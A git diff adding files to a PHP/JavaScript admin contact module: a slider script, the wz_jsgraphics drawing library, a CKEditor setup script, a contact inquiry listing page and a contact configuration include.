+    //alert('hello');
+    x = ns6? e.clientX: event.clientX
+    y = ns6? e.clientY: event.clientY
+    
+    if (sx < 0) sx = x; if (sy < 0) sy = y;
+
+    var dx = initX +(x-sx);
+    
+    if (dx <= rangeMin)
+        dx = rangeMin;
+    else if (dx >= rangeMax)
+        dx = rangeMax;
+
+    var range = (dx-rangeMin)/(rangeMax - rangeMin)*100;
+
+    if (currentSlider !=  null)
+        currentSlider.style.left = dx+"px";
+        
+    if (sliderField != null)
+    {
+        sliderField.value = parseInt(range);
+    }
+    return false;
+
+}
+
+function initSlider()
+{
+    if (currentSlider == null)
+        currentSlider = document.getElementById('sliderbar');
+   
+    if (sliderField == null)
+        sliderField = document.getElementById('quality');
+
+    if (rangeMin == null)
+        rangeMin = 3
+    if (rangeMax == null)
+    {
+        var track = document.getElementById('slidertrack');
+        rangeMax = parseInt(track.style.width);
+    }
+
+}
+
+function updateSlider(value)
+{
+    initSlider();
+
+    var newValue = parseInt(value)/100*(rangeMax-rangeMin);
+
+    if (newValue <= rangeMin)
+        newValue = rangeMin;
+    else if (newValue >= rangeMax)
+        newValue = rangeMax;
+
+    if (currentSlider !=  null)
+        currentSlider.style.left = newValue+"px";
+    
+    var range = newValue/(rangeMax - rangeMin)*100;
+
+    if (sliderField != null)
+        sliderField.value = parseInt(range);
+}
+
+function captureStart()
+{
+    
+    initSlider();
+
+    initX = parseInt(currentSlider.style.left);
+    if (initX > rangeMax)
+        initX = rangeMax;
+    else if (initX < rangeMin)
+        initX = rangeMin;
+
+    document.onmousemove = getMouseXY;
+
+    return false;
+}
+
+function captureStop()
+{
+    sx = -1; sy = -1;
+    document.onmousemove = null;
+    return false;
+}
\ No newline at end of file
diff --git a/admin/Contact/assets/wz_jsgraphics.js b/admin/Contact/assets/wz_jsgraphics.js
new file mode 100644 (file)
index 0000000..b5c2151
--- /dev/null
@@ -0,0 +1,921 @@
+/***********************************************************************
+** Title.........:  Javascript Graphics
+** Version.......:  1.0
+** Author........:  Xiang Wei ZHUO <wei@zhuo.org>
+** Filename......:  wz_jsgraphics.js
+** Last changed..:  31 Aug 2003  
+** Notes.........:  Modified for Image Editor, added extra commands
+**/ 
+
+/* This notice must be untouched at all times.
+
+wz_jsgraphics.js    v. 2.03
+The latest version is available at
+http://www.walterzorn.com
+or http://www.devira.com
+or http://www.walterzorn.de
+
+Copyright (c) 2002-2003 Walter Zorn. All rights reserved.
+Created 3. 11. 2002 by Walter Zorn <walter@kreuzotter.de>
+Last modified: 11. 6. 2003
+
+High Performance JavaScript Graphics Library.
+Provides methods
+- to draw lines, rectangles, ellipses, polygons
+  with specifiable line thickness,
+- to fill rectangles and ellipses
+- to draw text.
+NOTE: Operations, functions and branching have rather been optimized
+to efficiency and speed than to shortness of source code.
+
+This program is free software;
+you can redistribute it and/or modify it under the terms of the
+GNU General Public License as published by the Free Software Foundation;
+either version 2 of the License, or (at your option) any later version.
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY;
+without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+See the GNU General Public License
+at http://www.gnu.org/copyleft/gpl.html for more details.
+*/
+
+
+
+
+
+var jg_ihtm, jg_ie, jg_dom,
+jg_n4 = (document.layers && typeof document.classes != "undefined");
+
+
+
+
+
+function chkDHTM(x, i)
+{
+    x = document.body || null;
+    jg_ie = (x && typeof x.insertAdjacentHTML != "undefined");
+    jg_dom = (x && !jg_ie &&
+        typeof x.appendChild != "undefined" &&
+        typeof document.createRange != "undefined" &&
+        typeof (i = document.createRange()).setStartBefore != "undefined" &&
+        typeof i.createContextualFragment != "undefined");
+    jg_ihtm = (!jg_ie && !jg_dom && x && typeof x.innerHTML != "undefined");
+}
+
+
+
+
+
+function pntDoc()
+{
+    this.wnd.document.write(this.htm);
+    this.htm = '';
+}
+
+
+
+
+
+function pntCnvDom()
+{
+    var x = document.createRange();
+    x.setStartBefore(this.cnv);
+    x = x.createContextualFragment(this.htm);
+    this.cnv.appendChild(x);
+    this.htm = '';
+}
+
+
+
+
+
+function pntCnvIe()
+{
+    this.cnv.insertAdjacentHTML("BeforeEnd", this.htm);
+    this.htm = '';
+}
+
+
+
+
+
+function pntCnvIhtm()
+{
+    this.cnv.innerHTML += this.htm;
+    this.htm = '';
+}
+
+
+
+
+
+function pntCnv()
+{
+    this.htm = '';
+}
+
+
+
+
+
+function mkDiv(x, y, w, h)
+{
+    this.htm += '<div style="position:absolute;'+
+        'left:' + x + 'px;'+
+        'top:' + y + 'px;'+
+        'width:' + w + 'px;'+
+        'height:' + h + 'px;'+
+        'clip:rect(0,'+w+'px,'+h+'px,0);'+
+        'overflow:hidden;background-color:' + this.color + ';'+
+        '"><\/div>';
+
+    //alert(this.htm);
+}
+
+
+
+
+function mkDivPrint(x, y, w, h)
+{
+    this.htm += '<div style="position:absolute;'+
+        'border-left:' + w + 'px solid ' + this.color + ';'+
+        'left:' + x + 'px;'+
+        'top:' + y + 'px;'+
+        'width:' + w + 'px;'+
+        'height:' + h + 'px;'+
+        'clip:rect(0,'+w+'px,'+h+'px,0);'+
+        'overflow:hidden;background-color:' + this.color + ';'+
+        '"><\/div>';
+}
+
+
+
+
+
+function mkLyr(x, y, w, h)
+{
+    this.htm += '<layer '+
+        'left="' + x + '" '+
+        'top="' + y + '" '+
+        'width="' + w + '" '+
+        'height="' + h + '" '+
+        'bgcolor="' + this.color + '"><\/layer>\n';
+}
+
+
+
+
+
+function mkLbl(txt, x, y)
+{
+    this.htm += '<div style="position:absolute;white-space:nowrap;'+
+        'left:' + x + 'px;'+
+        'top:' + y + 'px;'+
+        'font-family:' +  this.ftFam + ';'+
+        'font-size:' + this.ftSz + ';'+
+        'color:' + this.color + ';' + this.ftSty + '">'+
+        txt +
+        '<\/div>';
+}
+
+
+
+
+
+function mkLin(x1, y1, x2, y2)
+{
+    if (x1 > x2)
+    {
+        var _x2 = x2;
+        var _y2 = y2;
+        x2 = x1;
+        y2 = y1;
+        x1 = _x2;
+        y1 = _y2;
+    }
+    var dx = x2-x1, dy = Math.abs(y2-y1),
+    x = x1, y = y1,
+    yIncr = (y1 > y2)? -1 : 1;
+
+    if (dx >= dy)
+    {
+        var pr = dy<<1,
+        pru = pr - (dx<<1),
+        p = pr-dx,
+        ox = x;
+        while ((dx--) > 0)
+        {
+            ++x;
+            if (p > 0)
+            {
+                this.mkDiv(ox, y, x-ox, 1);
+                y += yIncr;
+                p += pru;
+                ox = x;
+            }
+            else p += pr;
+        }
+        this.mkDiv(ox, y, x2-ox+1, 1);
+    }
+
+    else
+    {
+        var pr = dx<<1,
+        pru = pr - (dy<<1),
+        p = pr-dy,
+        oy = y;
+        if (y2 <= y1)
+        {
+            while ((dy--) > 0)
+            {
+                if (p > 0)
+                {
+                    this.mkDiv(x++, y, 1, oy-y+1);
+                    y += yIncr;
+                    p += pru;
+                    oy = y;
+                }
+                else
+                {
+                    y += yIncr;
+                    p += pr;
+                }
+            }
+            this.mkDiv(x2, y2, 1, oy-y2+1);
+        }
+        else
+        {
+            while ((dy--) > 0)
+            {
+                y += yIncr;
+                if (p > 0)
+                {
+                    this.mkDiv(x++, oy, 1, y-oy);
+                    p += pru;
+                    oy = y;
+                }
+                else p += pr;
+            }
+            this.mkDiv(x2, oy, 1, y2-oy+1);
+        }
+    }
+}
+
+
+
+
+
+function mkLin2D(x1, y1, x2, y2)
+{
+    if (x1 > x2)
+    {
+        var _x2 = x2;
+        var _y2 = y2;
+        x2 = x1;
+        y2 = y1;
+        x1 = _x2;
+        y1 = _y2;
+    }
+    var dx = x2-x1, dy = Math.abs(y2-y1),
+    x = x1, y = y1,
+    yIncr = (y1 > y2)? -1 : 1;
+
+
+    var s = this.stroke;
+    if (dx >= dy)
+    {
+        if (s-0x3 > 0)
+        {
+            var _s = (s*dx*Math.sqrt(1+dy*dy/(dx*dx))-dx-(s>>1)*dy) / dx;
+            _s = (!(s-0x4)? Math.ceil(_s) : Math.round(_s)) + 1;
+        }
+        else var _s = s;
+        var ad = Math.ceil(s/2);
+
+        var pr = dy<<1,
+        pru = pr - (dx<<1),
+        p = pr-dx,
+        ox = x;
+        while ((dx--) > 0)
+        {
+            ++x;
+            if (p > 0)
+            {
+                this.mkDiv(ox, y, x-ox+ad, _s);
+                y += yIncr;
+                p += pru;
+                ox = x;
+            }
+            else p += pr;
+        }
+        this.mkDiv(ox, y, x2-ox+ad+1, _s);
+    }
+
+    else
+    {
+        if (s-0x3 > 0)
+        {
+            var _s = (s*dy*Math.sqrt(1+dx*dx/(dy*dy))-(s>>1)*dx-dy) / dy;
+            _s = (!(s-0x4)? Math.ceil(_s) : Math.round(_s)) + 1;
+        }
+        else var _s = s;
+        var ad = Math.round(s/2);
+
+        var pr = dx<<1,
+        pru = pr - (dy<<1),
+        p = pr-dy,
+        oy = y;
+        if (y2 <= y1)
+        {
+            ++ad;
+            while ((dy--) > 0)
+            {
+                if (p > 0)
+                {
+                    this.mkDiv(x++, y, _s, oy-y+ad);
+                    y += yIncr;
+                    p += pru;
+                    oy = y;
+                }
+                else
+                {
+                    y += yIncr;
+                    p += pr;
+                }
+            }
+            this.mkDiv(x2, y2, _s, oy-y2+ad);
+        }
+        else
+        {
+            while ((dy--) > 0)
+            {
+                y += yIncr;
+                if (p > 0)
+                {
+                    this.mkDiv(x++, oy, _s, y-oy+ad);
+                    p += pru;
+                    oy = y;
+                }
+                else p += pr;
+            }
+            this.mkDiv(x2, oy, _s, y2-oy+ad+1);
+        }
+    }
+}
+
+
+
+
+
+function mkLinDott(x1, y1, x2, y2)
+{
+    if (x1 > x2)
+    {
+        var _x2 = x2;
+        var _y2 = y2;
+        x2 = x1;
+        y2 = y1;
+        x1 = _x2;
+        y1 = _y2;
+    }
+    var dx = x2-x1, dy = Math.abs(y2-y1),
+    x = x1, y = y1,
+    yIncr = (y1 > y2)? -1 : 1,
+    drw = true;
+    if (dx >= dy)
+    {
+        var pr = dy<<1,
+        pru = pr - (dx<<1),
+        p = pr-dx;
+        while ((dx--) > 0)
+        {
+            if (drw) this.mkDiv(x, y, 1, 1);
+            drw = !drw;
+            if (p > 0)
+            {
+                y += yIncr;
+                p += pru;
+            }
+            else p += pr;
+            ++x;
+        }
+        if (drw) this.mkDiv(x, y, 1, 1);
+    }
+
+    else
+    {
+        var pr = dx<<1,
+        pru = pr - (dy<<1),
+        p = pr-dy;
+        while ((dy--) > 0)
+        {
+            if (drw) this.mkDiv(x, y, 1, 1);
+            drw = !drw;
+            y += yIncr;
+            if (p > 0)
+            {
+                ++x;
+                p += pru;
+            }
+            else p += pr;
+        }
+        if (drw) this.mkDiv(x, y, 1, 1);
+    }
+}
+
+
+
+
+
+function mkOv(left, top, width, height)
+{
+    var a = width>>1, b = height>>1,
+    wod = width&1, hod = (height&1)+1,
+    cx = left+a, cy = top+b,
+    x = 0, y = b,
+    ox = 0, oy = b,
+    aa = (a*a)<<1, bb = (b*b)<<1,
+    st = (aa>>1)*(1-(b<<1)) + bb,
+    tt = (bb>>1) - aa*((b<<1)-1),
+    w, h;
+    while (y > 0)
+    {
+        if (st < 0)
+        {
+            st += bb*((x<<1)+0x3);
+            tt += (bb<<1)*(++x);
+        }
+        else if (tt < 0)
+        {
+            st += bb*((x<<1)+0x3) - (aa<<1)*(y-1);
+            tt += (bb<<1)*(++x) - aa*(((y--)<<1)-0x3);
+            w = x-ox;
+            h = oy-y;
+            if (w&0x2 && h&0x2)
+            {
+                this.mkOvQds(cx, cy, -x+0x2, ox+wod, -oy, oy-1+hod, 1, 1);
+                this.mkOvQds(cx, cy, -x+1, x-1+wod, -y-1, y+hod, 1, 1);
+            }
+            else this.mkOvQds(cx, cy, -x+1, ox+wod, -oy, oy-h+hod, w, h);
+            ox = x;
+            oy = y;
+        }
+        else
+        {
+            tt -= aa*((y<<1)-0x3);
+            st -= (aa<<1)*(--y);
+        }
+    }
+    this.mkDiv(cx-a, cy-oy, a-ox+1, (oy<<1)+hod);
+    this.mkDiv(cx+ox+wod, cy-oy, a-ox+1, (oy<<1)+hod);
+}
+
+
+
+
+
+function mkOv2D(left, top, width, height)
+{
+    var s = this.stroke;
+    width += s-1;
+    height += s-1;
+    var a = width>>1, b = height>>1,
+    wod = width&1, hod = (height&1)+1,
+    cx = left+a, cy = top+b,
+    x = 0, y = b,
+    aa = (a*a)<<1, bb = (b*b)<<1,
+    st = (aa>>1)*(1-(b<<1)) + bb,
+    tt = (bb>>1) - aa*((b<<1)-1);
+
+
+    if (s-0x4 < 0 && (!(s-0x2) || width-0x33 > 0 && height-0x33 > 0))
+    {
+        var ox = 0, oy = b,
+        w, h,
+        pxl, pxr, pxt, pxb, pxw;
+        while (y > 0)
+        {
+            if (st < 0)
+            {
+                st += bb*((x<<1)+0x3);
+                tt += (bb<<1)*(++x);
+            }
+            else if (tt < 0)
+            {
+                st += bb*((x<<1)+0x3) - (aa<<1)*(y-1);
+                tt += (bb<<1)*(++x) - aa*(((y--)<<1)-0x3);
+                w = x-ox;
+                h = oy-y;
+
+                if (w-1)
+                {
+                    pxw = w+1+(s&1);
+                    h = s;
+                }
+                else if (h-1)
+                {
+                    pxw = s;
+                    h += 1+(s&1);
+                }
+                else pxw = h = s;
+                this.mkOvQds(cx, cy, -x+1, ox-pxw+w+wod, -oy, -h+oy+hod, pxw, h);
+                ox = x;
+                oy = y;
+            }
+            else
+            {
+                tt -= aa*((y<<1)-0x3);
+                st -= (aa<<1)*(--y);
+            }
+        }
+        this.mkDiv(cx-a, cy-oy, s, (oy<<1)+hod);
+        this.mkDiv(cx+a+wod-s+1, cy-oy, s, (oy<<1)+hod);
+    }
+
+
+    else
+    {
+        var _a = (width-((s-1)<<1))>>1,
+        _b = (height-((s-1)<<1))>>1,
+        _x = 0, _y = _b,
+        _aa = (_a*_a)<<1, _bb = (_b*_b)<<1,
+        _st = (_aa>>1)*(1-(_b<<1)) + _bb,
+        _tt = (_bb>>1) - _aa*((_b<<1)-1),
+
+        pxl = new Array(),
+        pxt = new Array(),
+        _pxb = new Array();
+        pxl[0] = 0;
+        pxt[0] = b;
+        _pxb[0] = _b-1;
+        while (y > 0)
+        {
+            if (st < 0)
+            {
+                st += bb*((x<<1)+0x3);
+                tt += (bb<<1)*(++x);
+                pxl[pxl.length] = x;
+                pxt[pxt.length] = y;
+            }
+            else if (tt < 0)
+            {
+                st += bb*((x<<1)+0x3) - (aa<<1)*(y-1);
+                tt += (bb<<1)*(++x) - aa*(((y--)<<1)-0x3);
+                pxl[pxl.length] = x;
+                pxt[pxt.length] = y;
+            }
+            else
+            {
+                tt -= aa*((y<<1)-0x3);
+                st -= (aa<<1)*(--y);
+            }
+
+            if (_y > 0)
+            {
+                if (_st < 0)
+                {
+                    _st += _bb*((_x<<1)+0x3);
+                    _tt += (_bb<<1)*(++_x);
+                    _pxb[_pxb.length] = _y-1;
+                }
+                else if (_tt < 0)
+                {
+                    _st += _bb*((_x<<1)+0x3) - (_aa<<1)*(_y-1);
+                    _tt += (_bb<<1)*(++_x) - _aa*(((_y--)<<1)-0x3);
+                    _pxb[_pxb.length] = _y-1;
+                }
+                else
+                {
+                    _tt -= _aa*((_y<<1)-0x3);
+                    _st -= (_aa<<1)*(--_y);
+                    _pxb[_pxb.length-1]--;
+                }
+            }
+        }
+
+        var ox = 0, oy = b,
+        _oy = _pxb[0],
+        l = pxl.length,
+        w, h;
+        for (var i = 0; i < l; i++)
+        {
+            if (typeof _pxb[i] != "undefined")
+            {
+                if (_pxb[i] < _oy || pxt[i] < oy)
+                {
+                    x = pxl[i];
+                    this.mkOvQds(cx, cy, -x+1, ox+wod, -oy, _oy+hod, x-ox, oy-_oy);
+                    ox = x;
+                    oy = pxt[i];
+                    _oy = _pxb[i];
+                }
+            }
+            else
+            {
+                x = pxl[i];
+                this.mkDiv(cx-x+1, cy-oy, 1, (oy<<1)+hod);
+                this.mkDiv(cx+ox+wod, cy-oy, 1, (oy<<1)+hod);
+                ox = x;
+                oy = pxt[i];
+            }
+        }
+        this.mkDiv(cx-a, cy-oy, 1, (oy<<1)+hod);
+        this.mkDiv(cx+ox+wod, cy-oy, 1, (oy<<1)+hod);
+    }
+}
+
+
+
+
+
+function mkOvDott(left, top, width, height)
+{
+    var a = width>>1, b = height>>1,
+    wod = width&1, hod = height&1,
+    cx = left+a, cy = top+b,
+    x = 0, y = b,
+    aa2 = (a*a)<<1, aa4 = aa2<<1, bb = (b*b)<<1,
+    st = (aa2>>1)*(1-(b<<1)) + bb,
+    tt = (bb>>1) - aa2*((b<<1)-1),
+    drw = true;
+    while (y > 0)
+    {
+        if (st < 0)
+        {
+            st += bb*((x<<1)+0x3);
+            tt += (bb<<1)*(++x);
+        }
+        else if (tt < 0)
+        {
+            st += bb*((x<<1)+0x3) - aa4*(y-1);
+            tt += (bb<<1)*(++x) - aa2*(((y--)<<1)-0x3);
+        }
+        else
+        {
+            tt -= aa2*((y<<1)-0x3);
+            st -= aa4*(--y);
+        }
+        if (drw) this.mkOvQds(cx, cy, -x, x+wod, -y, y+hod, 1, 1);
+        drw = !drw;
+    }
+}
+
+
+
+
+
+function mkRect(x, y, w, h)
+{
+    var s = this.stroke;
+    this.mkDiv(x, y, w, s);
+    this.mkDiv(x+w, y, s, h);
+    this.mkDiv(x, y+h, w+s, s);
+    this.mkDiv(x, y+s, s, h-s);
+}
+
+
+
+
+
+function mkRectDott(x, y, w, h)
+{
+    this.drawLine(x, y, x+w, y);
+    this.drawLine(x+w, y, x+w, y+h);
+    this.drawLine(x, y+h, x+w, y+h);
+    this.drawLine(x, y, x, y+h);
+}
+
+
+
+
+
+function jsgFont()
+{
+    this.PLAIN = 'font-weight:normal;';
+    this.BOLD = 'font-weight:bold;';
+    this.ITALIC = 'font-style:italic;';
+    this.ITALIC_BOLD = this.ITALIC + this.BOLD;
+    this.BOLD_ITALIC = this.ITALIC_BOLD;
+}
+var Font = new jsgFont();
+
+
+
+
+
+function jsgStroke()
+{
+    this.DOTTED = -1;
+}
+var Stroke = new jsgStroke();
+
+
+
+
+
+function jsGraphics(id, wnd)
+{
+    this.setColor = new Function('arg', 'this.color = arg;');
+
+
+    this.getColor = new Function('return this.color');
+
+    this.setStroke = function(x)
+    {
+        this.stroke = x;
+        if (!(x+1))
+        {
+            this.drawLine = mkLinDott;
+            this.mkOv = mkOvDott;
+            this.drawRect = mkRectDott;
+        }
+        else if (x-1 > 0)
+        {
+            this.drawLine = mkLin2D;
+            this.mkOv = mkOv2D;
+            this.drawRect = mkRect;
+        }
+        else
+        {
+            this.drawLine = mkLin;
+            this.mkOv = mkOv;
+            this.drawRect = mkRect;
+        }
+    };
+
+
+
+    this.setPrintable = function(arg)
+    {
+        this.printable = arg;
+        this.mkDiv = jg_n4? mkLyr : arg? mkDivPrint : mkDiv;
+    };
+
+
+
+    this.setFont = function(fam, sz, sty)
+    {
+        this.ftFam = fam;
+        this.ftSz = sz;
+        this.ftSty = sty || Font.PLAIN;
+    };
+
+
+
+    this.drawPolyline = this.drawPolyLine = function(x, y, s)
+    {
+        var i = x.length-1; while (i >= 0)
+            this.drawLine(x[i], y[i], x[--i], y[i]);
+    };
+
+
+
+    this.fillRect = function(x, y, w, h)
+    {
+        this.mkDiv(x, y, w, h);
+    };
+
+
+    this.fillRectPattern = function(x, y, w, h, url)
+    {
+        this.htm += '<div style="position:absolute;'+
+            'left:' + x + 'px;'+
+            'top:' + y + 'px;'+
+            'width:' + w + 'px;'+
+            'height:' + h + 'px;'+
+            'clip:rect(0,'+w+'px,'+h+'px,0);'+
+            'overflow:hidden;'+
+            //'background-color:' + this.color + ';'+
+            "background-image: url('" + url + "');"+
+            "layer-background-image: url('" + url + "');"+
+            'z-index:100;"><\/div>';
+        //alert(this.htm);
+    }
+
+    this.drawHandle = function(x, y, w, h, cursor)
+    {
+        
+        this.htm += '<div style="position:absolute;'+
+        'left:' + x + 'px;'+
+        'top:' + y + 'px;'+
+        'width:' + w + 'px;'+
+        'height:' + h + 'px;'+
+        'clip:rect(0,'+w+'px,'+h+'px,0);'+
+        'padding: 2px;overflow:hidden;'+
+        "cursor: '" + cursor + "';"+
+        '" class="handleBox" id="' + cursor + '" ><\/div>';
+    }
+
+    this.drawHandleBox = function(x, y, w, h, cursor)
+    {
+        
+        this.htm += '<div style="position:absolute;'+
+        'left:' + x + 'px;'+
+        'top:' + y + 'px;'+
+        'width:' + w + 'px;'+
+        'height:' + h + 'px;'+
+        'clip:rect(0,'+(w+2)+'px,'+(h+2)+'px,0);'+
+        'overflow:hidden; border: solid 1px '+ this.color+';'+
+        "cursor: '" + cursor + "';"+
+        '" class="handleBox" id="' + cursor + '" ><\/div>';
+
+        
+    }
+
+    this.drawPolygon = function(x, y)
+    {
+        this.drawPolyline(x, y);
+        this.drawLine(x[x.length-1], y[x.length-1], x[0], y[0]);
+    };
+
+
+
+    this.drawEllipse = this.drawOval = function(x, y, w, h)
+    {
+        this.mkOv(x, y, w, h);
+    };
+
+
+
+    this.fillEllipse = this.fillOval = function(left, top, w, h)
+    {
+        var a = (w -= 1)>>1, b = (h -= 1)>>1,
+        wod = (w&1)+1, hod = (h&1)+1,
+        cx = left+a, cy = top+b,
+        x = 0, y = b,
+        ox = 0, oy = b,
+        aa2 = (a*a)<<1, aa4 = aa2<<1, bb = (b*b)<<1,
+        st = (aa2>>1)*(1-(b<<1)) + bb,
+        tt = (bb>>1) - aa2*((b<<1)-1),
+        pxl, dw, dh;
+        if (w+1) while (y > 0)
+        {
+            if (st < 0)
+            {
+                st += bb*((x<<1)+0x3);
+                tt += (bb<<1)*(++x);
+            }
+            else if (tt < 0)
+            {
+                st += bb*((x<<1)+0x3) - aa4*(y-1);
+                pxl = cx-x;
+                dw = (x<<1)+wod;
+                tt += (bb<<1)*(++x) - aa2*(((y--)<<1)-0x3);
+                dh = oy-y;
+                this.mkDiv(pxl, cy-oy, dw, dh);
+                this.mkDiv(pxl, cy+oy-dh+hod, dw, dh);
+                ox = x;
+                oy = y;
+            }
+            else
+            {
+                tt -= aa2*((y<<1)-0x3);
+                st -= aa4*(--y);
+            }
+        }
+        this.mkDiv(cx-a, cy-oy, w+1, (oy<<1)+hod);
+    };
+
+
+
+    this.drawString = mkLbl;
+
+
+
+    this.clear = function()
+    {
+        this.htm = "";
+        if (this.cnv) this.cnv.innerHTML = this.defhtm;
+        
+    };
+
+
+
+    this.mkOvQds = function(cx, cy, xl, xr, yt, yb, w, h)
+    {
+        this.mkDiv(xr+cx, yt+cy, w, h);
+        this.mkDiv(xr+cx, yb+cy, w, h);
+        this.mkDiv(xl+cx, yb+cy, w, h);
+        this.mkDiv(xl+cx, yt+cy, w, h);
+    };
+
+
+    this.setStroke(1);
+    this.setPrintable(false);
+    this.setFont('verdana,geneva,helvetica,sans-serif', String.fromCharCode(0x31, 0x32, 0x70, 0x78), Font.PLAIN);
+    this.color = '#000000';
+    this.htm = '';
+    this.wnd = wnd || window;
+
+
+    if (!(jg_ie || jg_dom || jg_ihtm)) chkDHTM();
+    if (typeof id != 'string' || !id) this.paint = pntDoc;
+    else
+    {
+        this.cnv = document.all? (this.wnd.document.all[id] || null)
+            : document.getElementById? (this.wnd.document.getElementById(id) || null)
+            : null;
+        this.defhtm = (this.cnv && this.cnv.innerHTML)? this.cnv.innerHTML : '';
+        this.paint = jg_dom? pntCnvDom : jg_ie? pntCnvIe : jg_ihtm? pntCnvIhtm : pntCnv;
+    }
+}
diff --git a/admin/Contact/cktoolbox.js b/admin/Contact/cktoolbox.js
new file mode 100755 (executable)
index 0000000..8a209f3
--- /dev/null
@@ -0,0 +1,23 @@
+var CkToolbox =
+{
+    init: function()
+    {
+        if ($('#response').is('textarea')) {
+            //  Only try to replace the textarea if the
+            //  CKEditor is compatible w/ the browser.
+            if (CKEDITOR.env.isCompatible) {
+                CKEDITOR.replace('response',
+                    {
+                        toolbar : 'Default',
+                        width : 570,
+                        height : 400,
+                        filebrowserImageBrowseUrl : '../../Toolkit/CKImages/browser.php?folder=1',
+                        filebrowserImageUploadUrl : '../../Toolkit/CKImages/connector.php?command=Upload',
+                                               filebrowserImageWindowWidth : '760',
+                                               filebrowserImageWindowHeight : '500'
+                    });
+            }
+        }
+    }
+};
+$(document).ready(CkToolbox.init);
diff --git a/admin/Contact/contact_inquiry.phtml b/admin/Contact/contact_inquiry.phtml
new file mode 100644 (file)
index 0000000..3205d4a
--- /dev/null
@@ -0,0 +1,72 @@
+<?php
+include_once('../../setup.phtml');
+include("contact_setup.inc");
+GLM_TOOLBOX::top('Contact Inquiries','');
+GLM_TOOLBOX::html_nav_table($nav, $navWidth);
+$conn =& $DB->db_connect();
+if(!$conn) 
+       {
+               echo "No database connection";
+       }
+
+$qs = "SELECT  id,header,pos
+FROM   contact_inq
+ORDER BY pos;";
+
+$result = pg_Exec($conn,$qs);
+?>
+<table id="admin-list-table">
+<tr>
+  <th colspan=2>
+<form action="edit_inquiry.phtml" method="POST" name="f">
+<input type="submit" name="Command" value="Add Item">
+       </form>
+  </th>
+<tr>
+<?php
+if(pg_numrows($result) > 0) 
+{
+       for($i=0;$i<pg_numrows($result);$i++) 
+       {
+               $data = pg_fetch_array($result,$i);     
+               ?>
+                       <tr>
+                       <td width="10" nowrap><a href="edit_inquiry.phtml?id=<?echo $data[id]?>&Command=Edit">[Edit]</a></td>
+                       <td>
+                       <?
+                       $qs = "SELECT   MAX(pos) as maxpos
+                       FROM    contact_inq";
+
+               $maxresult = pg_exec($conn,$qs);
+               $max_data = pg_fetch_array($maxresult,0,PGSQL_ASSOC);
+               $maxpos = $max_data['maxpos'];
+               $pos = "<select style=\"font-size:10pt;\" name=pos 
+                       onChange=location.href=this[this.selectedIndex].value;
+               size=1>";
+               for($newpos=1;$newpos<=$maxpos;$newpos++) {
+                       $string = "Command=Move&id=$data[id]&newpos=$newpos";
+                       $pos .= "<option value=\"update_inquiry.phtml?$string\"";
+                       if($newpos == $data[pos]) {
+                               $pos .= " selected";
+                       }
+                       $pos .= ">$newpos</option>";
+               }
+               $pos .= "</select>";
+               echo $pos;
+               ?>
+                       </td>
+                       <td width=80% align=left><?echo $data[header]?>
+                       </tr>
+                       <?
+       }
+}
+else {
+       ?>
+               <tr><th colspan=2>Nothing in the database yet</th></tr>
+               <?
+}
+?>
+</table>
+<?
+GLM_TOOLBOX::footer();
+?>
diff --git a/admin/Contact/contact_setup.inc b/admin/Contact/contact_setup.inc
new file mode 100644 (file)
index 0000000..55f6e27
--- /dev/null
@@ -0,0 +1,298 @@
+<?php
+//$Id: contact_setup.inc,v 1.1.1.1 2009/09/17 20:09:02 matrix Exp $
+if(!defined("ENTRIES_PER_PAGE"))
+{
+       define("ENTRIES_PER_PAGE",10);  // Entries per Page in list_contact.phtml
+}
+define("CUSTOMER_TABLE","customer");   // name of customer table
+define("CONTACT_TABLE","contact");             // name of contact table
+define("TABLE",CONTACT_TABLE);                 // which table to use
+define("DATEFORMAT","US");                             // date format (for edit_contact.phmtl)
+define("NEWSLETTER_PROTOTYPE","newsletter_template.html");                             // date format (for edit_contact.phmtl)
+include_once(BASE.'classes/class_db.inc');
+$DB =& new GLM_DB();
+/*
+   setup the following in the setup.phtml (in root directory) file.
+defines:
+HTML_EMAIL = ON or OFF
+PRODUCTION_MODE = ON ,r OFF
+ */
+if(!defined("HTML_EMAIL"))
+{
+       define("HTML_EMAIL","ON");
+}
+if(!defined("PRODUCTION_MODE"))
+{
+       define("PRODUCTION_MODE","ON");
+}
+if(!defined("NEWSLETTER"))
+{
+       define("NEWSLETTER",1); //bool- does the contact database mail out a newsletter? 
+}
+
+if(!function_exists("template_read"))
+{
+       function template_read($template)
+       {
+               $fp = fopen($template, "r");
+               $contents = fread($fp,filesize($template));
+               fclose($fp);
+               if($contents)
+               {
+                       return $contents;
+               }
+               else
+               {
+                       return "";
+               }
+       }
+}
+
+if(!function_exists("explode_template"))
+{
+       function explode_template($template,$data)
+       {
+               $template = template_read($template);
+               $output = template_replacement($template,$data);
+               $output = wordwrap($output, 72);
+               return($output);
+
+       }
+}
+
+if(!function_exists("template_replacement"))
+{
+       function template_replacement($template,$fieldarr)
+       {
+               if(is_array($fieldarr))
+               {
+                       foreach($fieldarr as $key=>$value)
+                       {
+                               $template = str_replace( "<!-- ".$key." -->", $value, $template );
+                       }
+               }
+
+               return $template;
+       }
+}
+if(!function_exists("add_image"))
+{
+       function add_image($image,$align,$url)
+       {
+               if($image != "")
+               {
+                       $img = '<div style="margin:5px;float:'.$align.';">';
+                       if( $url )
+                       {
+                               $img .= '<a href="http://'.$url.'">';
+                       }
+                       $img .= '<img style="border:black solid 1px;" src="'.MIDSIZED.$image.'">';
+                       if( $url )
+                       {
+                               $img .= '</a>';
+                       }
+                       $img .= '</div>';
+                       return($img);
+               }
+       }
+}
+if(!function_exists("add_coupon"))
+{
+       function add_coupon($image,$url)
+       {
+               if($image != "")
+               {
+                       $coupon = '<div style="margin-left:200px;margin-right:30px;clear:both;">';
+                       if( $url )
+                       {
+                               $coupon .= '<a href="http://'.$url.'">';
+                       }
+                       $coupon .= '<img style="border:black solid 1px;" src="'.MIDSIZED.$image.'">';
+                       if( $url )
+                       {
+                               $coupon .= '</a>';
+                       }
+                       $coupon .= '</div>';
+                       return($coupon);
+               }
+       }
+}
+
+
+// Navigation array
+$nav = array(
+               "Report Builder" => "index.phtml",
+               "Add Contact" => "edit_contact.phtml",
+               "List Contacts" => "list_contact.phtml",
+               //      "Contact Inquiry Fields" => "contact_inquiry.phtml",
+               "HTML Emails" => "emails.php",
+               "Saved Reports" => "list_query.phtml",
+               );
+$navWidth = 7;
+/*
+   $query = "select * from contact_inq order by pos;";
+   $cData = db_auto_get_data($query);
+   if( is_array( $cData ) )
+   {
+   foreach( $cData as $key => $value )
+   {
